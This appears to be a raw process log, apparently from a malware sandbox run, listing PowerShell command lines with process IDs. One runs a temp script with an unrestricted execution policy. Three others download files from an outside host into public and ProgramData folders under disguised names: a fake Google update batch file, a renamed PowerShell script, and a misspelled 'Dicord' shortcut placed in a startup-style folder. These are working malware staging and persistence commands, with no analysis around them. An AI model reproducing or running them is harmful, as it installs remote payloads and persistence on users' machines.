powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\ls.txt.ps1
5580powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "& { (New-Object Net.WebClient).DownloadFile('https://nyc002.hawkhost.com/~mazenne1/ExDef/GoogleUpdate.bat', 'C:\Users\Public\GoogleUpdate.bat') }"
4220powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "& { (New-Object Net.WebClient).DownloadFile('https://nyc002.hawkhost.com/~mazenne1/ITR/1.txt', 'C:\Users\Public\msi.ps1') }"
8300powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "& { (New-Object Net.WebClient).DownloadFile('https://nyc002.hawkhost.com/~mazenne1/ExDef/Dicord.lnk', 'C:\ProgramData\Microsoft Arts\Start\Dicord.lnk') }"
8628